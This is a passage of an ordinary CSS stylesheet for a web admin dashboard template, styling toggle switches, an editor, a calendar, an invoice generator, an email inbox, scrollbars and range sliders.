	cursor: pointer;
	border-radius: 20px;
}

.onoffswitch.customstyle .onoffswitch-inner {
	width: 200%;
	margin-left: -100%;
	-moz-transition: margin 0.3s ease-in 0s;
	-webkit-transition: margin 0.3s ease-in 0s;
	-o-transition: margin 0.3s ease-in 0s;
	transition: margin 0.3s ease-in 0s;
}

.onoffswitch.customstyle .onoffswitch-inner:before,.onoffswitch.customstyle .onoffswitch-inner:after
	{
	float: left;
	width: 50%;
	height: 30px;
	padding: 0;
	line-height: 30px;
	font-size: 14px;
	color: white;
	font-family: Trebuchet, Arial, sans-serif;
	font-weight: bold;
	-moz-box-sizing: border-box;
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
}

.onoffswitch.customstyle .onoffswitch-inner:before {
	content: "ON";
	padding-left: 10px;
	background-color: #2489C5;
	color: #FFFFFF;
}

.onoffswitch.customstyle .onoffswitch-inner:after {
	content: "OFF";
	padding-right: 10px;
	background-color: #d6d6d6;
	color: #2489C5;
	text-align: right;
}

.onoffswitch.customstyle .onoffswitch-switch {
	width: 18px;
	height: 18px;
	margin: 6px;
	background: #FFFFFF;
	border-radius: 20px;
	position: absolute;
	top: 0;
	bottom: 0;
	right: 56px;
	-moz-transition: all 0.3s ease-in 0s;
	-webkit-transition: all 0.3s ease-in 0s;
	-o-transition: all 0.3s ease-in 0s;
	transition: all 0.3s ease-in 0s;
}

.onoffswitch.customstyle .onoffswitch-checkbox:checked+.onoffswitch-label .onoffswitch-inner
	{
	margin-left: 0;
}

.onoffswitch.customstyle .onoffswitch-checkbox:checked+.onoffswitch-label .onoffswitch-switch
	{
	right: 0px;
}

/* On/Off Switches - iOS5 */
.onoffswitch.ios5 {
	position: relative;
	width: 90px;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
}

.onoffswitch.ios5 .onoffswitch-checkbox {
	display: none;
}

.onoffswitch.ios5 .onoffswitch-label {
	display: block;
	overflow: hidden;
	cursor: pointer;
	border-radius: 30px;
}

.onoffswitch.ios5 .onoffswitch-inner {
	width: 200%;
	margin-left: -100%;
	-moz-transition: margin 0.3s ease-in 0s;
	-webkit-transition: margin 0.3s ease-in 0s;
	-o-transition: margin 0.3s ease-in 0s;
	transition: margin 0.3s ease-in 0s;
}

.onoffswitch.ios5 .onoffswitch-inner:before,.onoffswitch.ios5 .onoffswitch-inner:after
	{
	float: left;
	width: 50%;
	height: 30px;
	padding: 0;
	line-height: 30px;
	font-size: 14px;
	color: white;
	font-family: Trebuchet, Arial, sans-serif;
	font-weight: bold;
	-moz-box-sizing: border-box;
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
	border-radius: 30px;
	box-shadow: 0px 15px 0px rgba(0, 0, 0, 0.08) inset;
}

.onoffswitch.ios5 .onoffswitch-inner:before {
	content: "ON";
	padding-left: 10px;
	background-color: #2489C5;
	color: #FFFFFF;
	border-radius: 30px 0 0 30px;
}

.onoffswitch.ios5 .onoffswitch-inner:after {
	content: "OFF";
	padding-right: 10px;
	background-color: #EEEEEE;
	color: #999999;
	text-align: right;
	border-radius: 0 30px 30px 0;
}

.onoffswitch.ios5 .onoffswitch-switch {
	width: 30px;
	margin: 0px;
	background: #FFFFFF;
	border: 2px solid #2489C5;
	border-radius: 30px;
	position: absolute;
	top: 0;
	bottom: 0;
	right: 56px;
	-moz-transition: all 0.3s ease-in 0s;
	-webkit-transition: all 0.3s ease-in 0s;
	-o-transition: all 0.3s ease-in 0s;
	transition: all 0.3s ease-in 0s;
	background-image: -moz-linear-gradient(center top, rgba(0, 0, 0, 0.1) 0%,
		rgba(0, 0, 0, 0) 80% );
	background-image: -webkit-linear-gradient(center top, rgba(0, 0, 0, 0.1)
		0%, rgba(0, 0, 0, 0) 80% );
	background-image: -o-linear-gradient(center top, rgba(0, 0, 0, 0.1) 0%,
		rgba(0, 0, 0, 0) 80% );
	background-image: linear-gradient(center top, rgba(0, 0, 0, 0.1) 0%,
		rgba(0, 0, 0, 0) 80% );
	box-shadow: 0 1px 1px white inset;
}

.onoffswitch.ios5 .onoffswitch-checkbox:checked+.onoffswitch-label .onoffswitch-inner
	{
	margin-left: 0;
}

.onoffswitch.ios5 .onoffswitch-checkbox:checked+.onoffswitch-label .onoffswitch-switch
	{
	right: 0px;
}

/* On/Off Switches - iOS4 */
.onoffswitch.ios4 {
	position: relative;
	width: 90px;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
}

.onoffswitch.ios4 .onoffswitch-checkbox {
	display: none;
}

.onoffswitch.ios4 .onoffswitch-label {
	display: block;
	overflow: hidden;
	cursor: pointer;
	border-radius: 5px;
}

.onoffswitch.ios4 .onoffswitch-inner {
	width: 200%;
	margin-left: -100%;
	-moz-transition: margin 0.3s ease-in 0s;
	-webkit-transition: margin 0.3s ease-in 0s;
	-o-transition: margin 0.3s ease-in 0s;
	transition: margin 0.3s ease-in 0s;
}

.onoffswitch.ios4 .onoffswitch-inner:before,.onoffswitch.ios4 .onoffswitch-inner:after
	{
	float: left;
	width: 50%;
	height: 30px;
	padding: 0;
	line-height: 30px;
	font-size: 14px;
	color: white;
	font-family: Trebuchet, Arial, sans-serif;
	font-weight: bold;
	-moz-box-sizing: border-box;
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
}

.onoffswitch.ios4 .onoffswitch-inner:before {
	content: "ON";
	padding-left: 10px;
	background-color: #2489C5;
	color: #FFFFFF;
}

.onoffswitch.ios4 .onoffswitch-inner:after {
	content: "OFF";
	padding-right: 10px;
	background-color: #d6d6d6;
	color: #999999;
	text-align: right;
}

.onoffswitch.ios4 .onoffswitch-switch {
	width: 28px;
	margin: 0px;
	background: #FFFFFF;
	border: 2px solid #2489C5;
	border-radius: 5px;
	position: absolute;
	top: 0;
	bottom: 0;
	right: 62px;
	-moz-transition: all 0.3s ease-in 0s;
	-webkit-transition: all 0.3s ease-in 0s;
	-o-transition: all 0.3s ease-in 0s;
	transition: all 0.3s ease-in 0s;
	background-image: -moz-linear-gradient(center top, rgba(0, 0, 0, 0.1) 0%,
		rgba(0, 0, 0, 0) 100% );
	background-image: -webkit-linear-gradient(center top, rgba(0, 0, 0, 0.1)
		0%, rgba(0, 0, 0, 0) 100% );
	background-image: -o-linear-gradient(center top, rgba(0, 0, 0, 0.1) 0%,
		rgba(0, 0, 0, 0) 100% );
	background-image: linear-gradient(center top, rgba(0, 0, 0, 0.1) 0%,
		rgba(0, 0, 0, 0) 100% );
}

.onoffswitch.ios4 .onoffswitch-checkbox:checked+.onoffswitch-label .onoffswitch-inner
	{
	margin-left: 0;
}

.onoffswitch.ios4 .onoffswitch-checkbox:checked+.onoffswitch-label .onoffswitch-switch
	{
	right: 0px;
}

/* On/Off Switches - Android */
.onoffswitch.android {
	position: relative;
	width: 90px;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
}

.onoffswitch.android .onoffswitch-checkbox {
	display: none;
}

.onoffswitch.android .onoffswitch-label {
	display: block;
	overflow: hidden;
	cursor: pointer;
	border: 0px solid #2489C5;
	border-radius: 0px;
}

.onoffswitch.android .onoffswitch-inner {
	width: 200%;
	margin-left: -100%;
	-moz-transition: margin 0.3s ease-in 0s;
	-webkit-transition: margin 0.3s ease-in 0s;
	-o-transition: margin 0.3s ease-in 0s;
	transition: margin 0.3s ease-in 0s;
}

.onoffswitch.android .onoffswitch-inner>div {
	float: left;
	position: relative;
	width: 50%;
	height: 30px;
	padding: 0;
	line-height: 30px;
	font-size: 14px;
	color: white;
	font-family: Trebuchet, Arial, sans-serif;
	font-weight: bold;
	-moz-box-sizing: border-box;
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
}

.onoffswitch.android .onoffswitch-inner .onoffswitch-active {
	padding-left: 10px;
	background-color: #EEEEEE;
	color: #FFFFFF;
}

.onoffswitch.android .onoffswitch-inner .onoffswitch-inactive {
	padding-right: 10px;
	background-color: #EEEEEE;
	color: #FFFFFF;
	text-align: right;
}

.onoffswitch.android .onoffswitch-switch {
	width: 37px;
	margin: 0px;
	text-align: center;
	border: 0px solid #2489C5;
	border-radius: 0px;
	position: absolute;
	top: 0;
	bottom: 0;
}

.onoffswitch.android .onoffswitch-active .onoffswitch-switch {
	background: #27A1CA;
	left: 0;
}

.onoffswitch.android .onoffswitch-inactive .onoffswitch-switch {
	background: #A1A1A1;
	right: 0;
}

.onoffswitch.android .onoffswitch-active .onoffswitch-switch:before {
	content: " ";
	position: absolute;
	top: 0;
	left: 37px;
	border-style: solid;
	border-color: #27A1CA transparent transparent #27A1CA;
	border-width: 15px 9px;
}

.onoffswitch.android .onoffswitch-inactive .onoffswitch-switch:before {
	content: " ";
	position: absolute;
	top: 0;
	right: 37px;
	border-style: solid;
	border-color: transparent #A1A1A1 #A1A1A1 transparent;
	border-width: 15px 9px;
}

.onoffswitch.android .onoffswitch-checkbox:checked+.onoffswitch-label .onoffswitch-inner
	{
	margin-left: 0;
}

/* On/Off Switches - Windows */
.onoffswitch.windows8 {
	position: relative;
	width: 90px;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
}

.onoffswitch.windows8 .onoffswitch-checkbox {
	display: none;
}

.onoffswitch.windows8 .onoffswitch-label {
	display: block;
	overflow: hidden;
	cursor: pointer;
	border: 2px solid #2489C5;
	border-radius: 0px;
}

.onoffswitch.windows8 .onoffswitch-inner {
	width: 200%;
	margin-left: -100%;
	-moz-transition: margin 0.3s ease-in 0s;
	-webkit-transition: margin 0.3s ease-in 0s;
	-o-transition: margin 0.3s ease-in 0s;
	transition: margin 0.3s ease-in 0s;
}

.onoffswitch.windows8 .onoffswitch-inner:before,.onoffswitch.windows8 .onoffswitch-inner:after
	{
	float: left;
	width: 50%;
	height: 30px;
	padding: 0;
	line-height: 26px;
	font-size: 14px;
	color: white;
	font-family: Trebuchet, Arial, sans-serif;
	font-weight: bold;
	-moz-box-sizing: border-box;
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
	border: 2px solid transparent;
	background-clip: padding-box;
}

.onoffswitch.windows8 .onoffswitch-inner:before {
	content: "ON";
	padding-left: 10px;
	background-color: #EEEEEE;
	color: #2489C5;
}

.onoffswitch.windows8 .onoffswitch-inner:after {
	content: "OFF";
	padding-right: 10px;
	background-color: #EEEEEE;
	color: #A1A1A1;
	text-align: right;
}

.onoffswitch.windows8 .onoffswitch-switch {
	width: 37px;
	margin: 0px;
	background: #A1A1A1;
	position: absolute;
	top: 0;
	bottom: 0;
	right: 53px;
	-moz-transition: all 0.3s ease-in 0s;
	-webkit-transition: all 0.3s ease-in 0s;
	-o-transition: all 0.3s ease-in 0s;
	transition: all 0.3s ease-in 0s;
}

.onoffswitch.windows8 .onoffswitch-checkbox:checked+.onoffswitch-label .onoffswitch-inner
	{
	margin-left: 0;
}

.onoffswitch.windows8 .onoffswitch-checkbox:checked+.onoffswitch-label .onoffswitch-switch
	{
	right: 0px;
	background-color: #27A1CA;
}

/*editors*/
.editor-box {
	width: 100%;
}

.editor-box .form-control {
	height: 300px;
	border: 1px solid #E0E0DF !important;
}

.editor-box .form-control:focus {
	border-color: inherit;
	outline: 0;
	-webkit-box-shadow: none;
	box-shadow: none;
}

/* Easy wysiwyg editor */
ul.wysihtml5-toolbar {
	margin: 0;
	padding: 0;
	display: block;
}

ul.wysihtml5-toolbar::after {
	clear: both;
	display: table;
	content: "";
}

ul.wysihtml5-toolbar>li {
	float: left;
	display: list-item;
	list-style: none;
	margin: 0 5px 10px 0;
}

ul.wysihtml5-toolbar a[data-wysihtml5-command=bold] {
	font-weight: bold;
}

ul.wysihtml5-toolbar a[data-wysihtml5-command=italic] {
	font-style: italic;
}

ul.wysihtml5-toolbar a[data-wysihtml5-command=underline] {
	text-decoration: underline;
}

ul.wysihtml5-toolbar a.btn.wysihtml5-command-active {
	background-image: none;
	-webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px
		rgba(0, 0, 0, 0.05);
	-moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px
		rgba(0, 0, 0, 0.05);
	box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px
		rgba(0, 0, 0, 0.05);
	background-color: #E6E6E6;
	background-color: #D9D9D9 9;
	outline: 0;
}

ul.wysihtml5-commands-disabled .dropdown-menu {
	display: none !important;
}

.wysihtml5-sandbox {
	background-color: #FFFFFF !important;
	background-image: none !important;
	border: 1px solid #E0E0DF !important;
	border-radius: 2px !important;
	color: #555555 !important;
	font-size: 13px !important;
	height: 34px !important;
	line-height: 1.42857 !important;
	padding: 6px 12px !important;
	transition: border-color 0.15s ease-in-out 0s, box-shadow 0.15s
		ease-in-out 0s;
	vertical-align: middle !important;
	width: 100% !important;
	height: 300px !important;
}

/* Google Map */
.mapsections {
	width: 100%;
	height: 431px;
}

/* Full Calendar */
.fullcalendar-box {
	position: relative;
}

.fullcalendar-box #external-events {
	float: left;
	width: 220px;
	position: absolute;
	left: 20px;
	top: 10px;
}

#external-events>h5 {
	padding-bottom: 8px;
}

#external-events>div {
	width: 220px;
	color: #FFF;
	border-radius: 3px;
	padding: 4px 10px 6px 10px;
	background: #2489c5;
	margin-top: 5px;
}

.fullcalendar-box .dragables {
	float: left;
	padding-left: 260px;
	width: 100%;
}

.fullcalendar-box #calendar {
	float: left;
	width: 100%;
	border-left: #e6e7e8 1px solid;
}

.fullcalendar-box .fc-header {
	width: 100%;
	height: 68px;
	background: #f4f4f4;
	border-right: #e6e7e8 1px solid;
}

.fullcalendar-box .fc-header-center h2 {
	margin: 21px 0 0 20px;
}

.fullcalendar-box .fc-header-left {
	padding: 18px 0 0 20px;
}

.fullcalendar-box .fc-header-right {
	padding: 18px 20px 0 0;
}

.fullcalendar-box .fc-border-separate thead {
	height: 51px;
	font-size: 15px;
	color: #323641;
	font-weight: bold;
	background: #f7f7f7;
}

.fullcalendar-box .fc-border-separate thead tr th {
	padding-top: 15px;
}

.fullcalendar-box .fc-border-separate thead tr th:first-child {
	border-left: none;
}

.fullcalendar-box .fc-border-separate tbody tr td:first-child {
	border-left: none;
}

/* 404 Page */
.fourofour {
	width: 100%;
	padding-top: 60px;
	text-align: center;
}

.fourofour h1:first-child {
	font-size: 330px;
	line-height: 330px;
}

.fourofour a.btn {
	margin-top: 20px;
}

/*invoice generator*/
.invoice-box textarea {
	resize: none;
	border: none;
}

.invoice-box #header {
	border: none;
	overflow: hidden;
	resize: none;
	color: #323641;
	font-weight: bold;
	font-size: 20px;
	height: 54px;
	padding: 13px 20px;
	background: #f4f4f4;
	margin-bottom: 20px;
}

.invoice-box #address {
	width: 30%;
	height: 150px;
	float: left;
	resize: none;
	border: none;
}

.invoice-box #customer {
	overflow: hidden;
}

.invoice-box .table {
	border: #e6e7e8 solid 1px;
}

.invoice-box #logo {
	text-align: right;
	float: right;
	position: relative;
	margin-top: 25px;
	border: 1px solid #fff;
	max-width: 540px;
	max-height: 100px;
	overflow: hidden;
}

.invoice-box #logo:hover,.invoice-box #logo.edit {
	border: 1px solid #000;
	margin-top: 0px;
	max-height: 125px;
}

.invoice-box #logoctr {
	display: none;
}

.invoice-box #logo:hover #logoctr,.invoice-box #logo.edit #logoctr {
	display: block;
	text-align: right;
	line-height: 25px;
	background: #eee;
	padding: 0 5px;
}

.invoice-box #logohelp {
	text-align: left;
	display: none;
	font-style: italic;
	padding: 10px 5px;
}

.invoice-box #logohelp input {
	margin-bottom: 5px;
}

.invoice-box .edit #logohelp {
	display: block;
}

.invoice-box .edit #save-logo,.invoice-box .edit #cancel-logo {
	display: inline;
}

.invoice-box .edit #image,.invoice-box #save-logo,.invoice-box #cancel-logo,.invoice-box .edit #change-logo,.invoice-box .edit #delete-logo
	{
	display: none;
}

.invoice-box #customer-title {
	font-size: 20px;
	font-weight: bold;
	float: left;
	line-height: 23px;
	height: 70px;
	width: 30%;
}

.invoice-box #meta {
	margin-top: 1px;
	width: 300px;
	float: right;
}

.invoice-box #meta td {
	text-align: right;
}

.invoice-box #meta td.meta-head {
	text-align: left;
	background: #eee;
}

.invoice-box #meta td textarea {
	width: 100%;
	height: 20px;
	text-align: right;
}

.invoice-box #items {
	clear: both;
	width: 100%;
	margin: 30px 0 0 0;
}

.invoice-box #items th {
	background: #eee;
}

.invoice-box #items textarea {
	width: 80px;
	height: 50px;
}

.invoice-box #items tr.item-row td {
	border: 0;
	vertical-align: top;
}

.invoice-box #items td.description {
	width: 500px;
}

.invoice-box #items td.item-name {
	width: 175px;
}

.invoice-box #items td.description textarea,#items td.item-name textarea
	{
	width: 100%;
}

.invoice-box #items td.total-line {
	border-right: 0;
	text-align: right;
}

.invoice-box #items td.total-value {
	border-left: 0;
	padding: 10px;
}

.invoice-box #items td.total-value textarea {
	height: 20px;
	background: none;
}

.invoice-box #items td.balance {
	background: #eee;
}

.invoice-box #items td.blank {
	border: 0;
}

.invoice-box #terms {
	text-align: center;
	margin: 20px 0 0 0;
}

.invoice-box #terms h4 {
	border-bottom: 1px solid #e6e7e8;
	padding: 0 0 8px 0;
	margin: 0 0 8px 0;
}

.invoice-box #terms textarea {
	width: 100%;
	text-align: center;
}

.invoice-box textarea:hover,.invoice-box textarea:focus,.invoice-box #items td.total-value textarea:hover,.invoice-box #items td.total-value textarea:focus,.invoice-box .delete:hover
	{
	background-color: #f4f4f4 !important;
	box-shadow: none;
	-moz-box-shadow: none;
}

.invoice-box .delete-wpr {
	position: relative;
}

.invoice-box .delete {
	display: block;
	text-decoration: none;
	position: absolute;
	background: #EEEEEE;
	background: #C00;
	top: -6px;
	left: -34px;
	color: #FFF;
	width: 27px;
	font-size: 17px;
	border-radius: 50%;
	padding: 5px 0 5px 5px;
}

.invoice-box .table textarea {
	background: transparent;
}

.invoice-box .table textarea:hover {
	background: transparent;
}

/* Inbox */
.emailbox {
	width: 100%;
	background: #FFF;
	position: relative;
}

.emailbox .structure-table {
	position: relative;
}

.emailbox .structure-table:before {
	position: absolute;
	height: 100%;
	display: block;
	content: "";
	left: 258px;
	border-left: #f3f3f3 solid 1px;
}

.emailbox header {
	width: 100%;
	height: 68px;
	background: #f4f4f4;
	border-bottom: #e6e7e8 solid 1px;
}

.emailbox header h2 {
	float: left;
	padding: 4px 0 0 20px;
}

.emailbox header h2 a {
	float: left;
	margin: 0px 5px 0 0px;
}

.emailbox header h2 span {
	font-size: 10px;
	margin: 3px 0 0 3px;
	float: left;
}

.emailbox header .emailoptions {
	float: right;
	padding: 18px 18px 0 0;
}

/* Compose Email */
.emailoptions a.compose {
	float: left;
	color: #FFF;
	display: inline-block;
	padding: 3px 20px 4px 10px;
	background: #2489c5;
	border-radius: 3px;
	margin: 3px 20px 0 0;
}

/* Send */
.emailoptions a.send {
	float: left;
	color: #FFF;
	display: inline-block;
	padding: 3px 20px 4px 10px;
	background: #2489c5;
	border-radius: 3px;
	margin: 3px 0 0 3px;
}

/* Save to Drafts */
.emailoptions a.drafts {
	float: left;
	color: #FFF;
	display: inline-block;
	padding: 3px 20px 4px 10px;
	background: #e9535e;
	border-radius: 3px;
	margin: 3px 0 0 3px;
}

/* Cancel */
.emailoptions a.cancel {
	float: left;
	color: #FFF;
	display: inline-block;
	padding: 3px 20px 4px 10px;
	background: #8f8f8f;
	border-radius: 3px;
	margin: 3px 0 0 3px;
}

/* Print */
.emailoptions a.print {
	float: left;
	color: #FFF;
	display: inline-block;
	padding: 3px 20px 4px 10px;
	background: #34495e;
	border-radius: 3px;
	margin: 3px 0 0 3px;
}

/* Delete */
.emailoptions a.delete {
	float: left;
	color: #FFF;
	display: inline-block;
	padding: 3px 20px 4px 10px;
	background: #cd1a07;
	border-radius: 3px;
	margin: 3px 0 0 3px;
}

/* Reply */
.emailoptions a.reply {
	float: left;
	color: #FFF;
	display: inline-block;
	padding: 3px 20px 4px 10px;
	background: #2489c5;
	border-radius: 3px;
	margin: 3px 0 0 3px;
}

/* Forward */
.emailoptions a.forward {
	float: left;
	color: #FFF;
	display: inline-block;
	padding: 3px 20px 4px 10px;
	background: #075a8b;
	border-radius: 3px;
	margin: 3px 0 0 3px;
}

.emailoptions .emailcontrols {
	float: left;
	padding: 3px 20px 0 0;
}

.emailcontrols a {
	color: #6d6f75;
	background: #fdfdfd;
	background: -moz-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fdfdfd),
		color-stop(100%, #f7f7f7) );
	background: -webkit-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -o-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -ms-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: linear-gradient(to bottom, #fdfdfd 0%, #f7f7f7 100%);
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#fdfdfd', endColorstr = '#f7f7f7', GradientType = 0 );
	border-color: #e4e4e4;
	height: 27px;
	display: inline-block;
	border: #e4e4e4 solid 1px;
	float: left;
}

.emailcontrols a.prev-email {
	padding: 7px 9px 0 6px;
	border-right: none;
	border-radius: 3px 0 0 3px;
}

.emailcontrols a.next-email {
	padding: 6px 6px 0 9px;
	border-radius: 0px 3px 3px 0px;
}

.emailcontrols a i {
	font-size: 10px;
	color: #c8c6c6;
	width: 13px;
	padding: 0;
	float: left;
}

.emailcontrols a.prev-email i {
	-moz-transform: rotate(180deg);
	-webkit-transform: rotate(180deg);
	-o-transform: rotate(180deg);
	-ms-transform: rotate(180deg);
	transform: rotate(180deg);
}

.emailcontrols a.next-email i {
	
}

.emailcontrols p {
	float: left;
	padding: 3px 0 0 10px;
}

.emailoptions .searchemail {
	float: left;
	width: 400px;
}

/* Email List */
.emailbox .emailslist {
	display: table-cell;
	vertical-align: top;
}

.emailslist .table {
	width: 100%;
	font-weight: normal;
}

.emailslist .table td.unread {
	font-size: 14px;
	font-weight: bold;
}

.emailslist .table td.sender {
	color: #323641;
}

.emailslist .table td.subject {
	font-size: 13px;
}

.emailslist .table td.description {
	width: 20%;
}

.emailslist footer {
	height: 52px;
	background: #f7f7f7;
	padding: 12px;
	border-top: #e6e7e8 solid 1px;
}

/* Email Navigation */
.email-nav {
	width: 258px;
	display: table-cell;
	vertical-align: top;
}

.email-nav .effect.affix {
	top: 0;
}

.email-nav ul {
	list-style: none;
	margin: 0;
}

.email-nav li a {
	width: 100%;
	height: 56px;
	color: #323641;
	font-size: 13px;
	font-weight: bold;
	display: inline-block;
	text-transform: uppercase;
	border-top: #e6e7e8 solid 1px;
	padding: 17px 0 0 20px;
}

.email-nav a span {
	display: inline-block;
	float: right;
	margin-right: 20px;
	font-size: 13px;
	color: #FFF;
	padding: 0 12px 1px 12px;
	font-weight: normal;
	background: #e9535e;
	border-radius: 12px;
}

.email-nav ul li:first-child a {
	border-top: none;
}

/* Email Details */
.emaildetail {
	display: table-cell;
	vertical-align: top;
}

.sender-date {
	width: 100%;
	padding: 10px 20px 0px 20px;
	background: #f4f4f4;
	border-left: #e6e7e8 solid 1px;
	border-bottom: #e6e7e8 solid 1px;
}

.sender-date p {
	float: left;
}

.sender-date p:first-child:after {
	content: "|";
	padding: 0 10px;
}

.emailbody {
	width: 100%;
	padding: 20px;
	border-left: #e6e7e8 solid 1px;
}

/* Attachment */
.attachments {
	width: 100%;
	padding: 20px 0px 20px 0px;
	background: #f8f8f8;
	border-left: #e6e7e8 solid 1px;
}

.attachments h2 {
	float: left;
	margin: 0px 0px 0px 20px;
}

.attachments h2 i {
	float: left;
	margin: 0px 10px 0px 0px;
}

.attachments ul {
	float: left;
	width: 100%;
	margin-top: 20px;
	list-style: none;
}

.attachments ul li {
	float: left;
	width: 18%;
	padding: 15px;
	background: #FFF;
	border-radius: 3px;
	margin: 0px 0px 0px 20px;
	border: #e6e7e8 solid 1px;
}

.attachments ul li figure {
	width: 100%;
}

.attachments ul li figure img {
	width: 100%;
}

.attachments ul li .attachment-opts {
	width: 100%;
}

.attachment-opts a {
	color: #a3a3a3;
	font-size: 11px;
}

.attachment-opts a:first-child:after {
	color: #a3a3a3;
	content: " | ";
}

/* Sliders */
.slider-box .slidersec {
	width: 100%;
	margin: 20px 0;
}

.slider-box .slidersec:first-child {
	margin-top: 0px;
}

/* Morris Charts */
.chartdark {
	
}

.morris-hover {
	position: absolute;
	z-index: 1000;
}

.morris-hover.morris-default-style {
	border-radius: 10px;
	padding: 6px;
	color: #666;
	background: rgba(255, 255, 255, 0.8);
	border: solid 2px rgba(230, 230, 230, 0.8);
	font-family: sans-serif;
	font-size: 12px;
	text-align: center;
}

.morris-hover.morris-default-style .morris-hover-row-label {
	font-weight: bold;
	margin: 0.25em 0;
}

.morris-hover.morris-default-style .morris-hover-point {
	white-space: nowrap;
	margin: 0.1em 0;
}

/* Custom Scroll Bar */
.scrollable {
	position: relative;
}

.scrollable:focus {
	outline: 0;
}

.scrollable .viewport {
	position: relative;
	overflow: hidden;
}

.scrolable {
	width: 100%;
	height: 300px;
}

.scrollable .viewport .overview {
	position: absolute;
	width: 100%;
}

.scrollable .scroll-bar {
	display: none;
	width: 8px;
}

.scrollable .scroll-bar.vertical {
	position: absolute;
	height: 100%;
	right: -10px;
}

.scrollable .scroll-bar.horizontal {
	position: relative;
	width: 100%;
}

.scrollable .scroll-bar .thumb {
	position: absolute;
	background: #e3e4e8;
	border-radius: 10px;
}

.scrollable .scroll-bar.vertical .thumb {
	width: 100%;
	min-height: 10px;
}

.scrollable .scroll-bar.horizontal .thumb {
	height: 100%;
	min-width: 10px;
	left: 0;
}

.not-selectable {
	-webkit-touch-callout: none;
	-webkit-user-select: none;
	-khtml-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
}

/*Default skin*/
.scrollable.default-skin {
	padding-right: 10px;
	padding-bottom: 6px;
}

.scrollable.default-skin .scroll-bar.vertical {
	width: 6px;
}

.scrollable.default-skin .scroll-bar.horizontal {
	height: 6px;
}

.scrollable.default-skin .scroll-bar .thumb {
	background-color: black;
	opacity: 0.4;
	border-radius: 3px;
	-moz-border-radius: 4px;
	-webkit-border-radius: 4px;
}

.scrollable.default-skin .scroll-bar:hover .thumb {
	opacity: 0.6;
}

/*Gray skin*/
.scrollable.gray-skin {
	padding-right: 17px;
}

.scrollable.gray-skin .scroll-bar {
	border: 1px solid gray;
	background-color: #d3d3d3;
}

.scrollable.gray-skin .scroll-bar .thumb {
	background-color: gray;
}

.scrollable.gray-skin .scroll-bar:hover .thumb {
	background-color: black;
}

.scrollable.gray-skin .scroll-bar.vertical {
	width: 10px;
}

.scrollable.gray-skin .scroll-bar.horizontal {
	height: 10px;
	margin-top: 2px;
}

/*Modern skin*/
.scrollable.modern-skin {
	padding-right: 17px;
}

.scrollable.modern-skin .scroll-bar {
	border: 1px solid gray;
	border-radius: 4px;
	-moz-border-radius: 4px;
	-webkit-border-radius: 4px;
	-moz-box-shadow: inset 0 0 5px #888;
	-webkit-box-shadow: inset 0 0 5px #888;
	box-shadow: inset 0 0 5px #888;
}

.scrollable.modern-skin .scroll-bar .thumb {
	background-color: #95aabf;
	border-radius: 4px;
	-moz-border-radius: 4px;
	-webkit-border-radius: 4px;
	border: 1px solid #536984;
}

.scrollable.modern-skin .scroll-bar.vertical .thumb {
	width: 8px;
	background: -moz-linear-gradient(left, #95aabf 0%, #547092 100%);
	background: -webkit-gradient(linear, left top, right top, color-stop(0%, #95aabf),
		color-stop(100%, #547092) );
	background: -webkit-linear-gradient(left, #95aabf 0%, #547092 100%);
	background: -o-linear-gradient(left, #95aabf 0%, #547092 100%);
	background: -ms-linear-gradient(left, #95aabf 0%, #547092 100%);
	background: linear-gradient(to right, #95aabf 0%, #547092 100%);
	-ms-filter:
		"progid:DXImageTransform.Microsoft.gradient( startColorstr='#95aabf', endColorstr='#547092',GradientType=1 )";
}

.scrollable.modern-skin .scroll-bar.horizontal .thumb {
	height: 8px;
	background-image: linear-gradient(#95aabf, #547092);
	background-image: -o-linear-gradient(#95aabf, #547092);
	background-image: -moz-linear-gradient(#95aabf, #547092);
	background-image: -webkit-linear-gradient(#95aabf, #547092);
	background-image: -ms-linear-gradient(#95aabf, #547092);
	-ms-filter:
		"progid:DXImageTransform.Microsoft.gradient( startColorstr='#95aabf', endColorstr='#547092',GradientType=0 )";
}

.scrollable.modern-skin .scroll-bar.vertical {
	width: 10px;
}

.scrollable.modern-skin .scroll-bar.horizontal {
	height: 10px;
	margin-top: 2px;
}

/* Ion.RangeSlider */
.irs {
	position: relative;
	display: block;
}

.irs-line {
	position: relative;
	display: block;
	overflow: hidden;
}

.irs-line-left,.irs-line-mid,.irs-line-right {
	position: absolute;
	display: block;
	top: 0;
}

.irs-line-left {
	left: 0;
	width: 10%;
}

.irs-line-mid {
	left: 10%;
	width: 80%;
}

.irs-line-right {
	right: 0;
	width: 10%;
}

.irs-diapason {
	position: absolute;
	display: block;
	left: 0;
	width: 100%;
}

.irs-slider {
	position: absolute;
	display: block;
	cursor: default;
	z-index: 1;
}

.irs-slider.single {
	left: 10px;
}

.irs-slider.single:before {
	position: absolute;
	display: block;
	content: "";
	top: -50%;
	left: -100%;
	width: 300%;
	height: 200%;
	background: rgba(0, 0, 0, 0.0);
}

.irs-slider.from {
	left: 100px;
}

.irs-slider.from:before {
	position: absolute;
	display: block;
	content: "";
	top: -50%;
	left: -200%;
	width: 300%;
	height: 200%;
	background: rgba(0, 0, 0, 0.0);
}

.irs-slider.to {
	left: 300px;
}

.irs-slider.to:before {
	position: absolute;
	display: block;
	content: "";
	top: -50%;
	left: 0;
	width: 300%;
	height: 200%;
	background: rgba(0, 0, 0, 0.0);
}

.irs-slider.last {
	z-index: 2;
}

.irs-min {
	position: absolute;
	display: block;
	left: 0;
	cursor: default;
}

.irs-max {
	position: absolute;
	display: block;
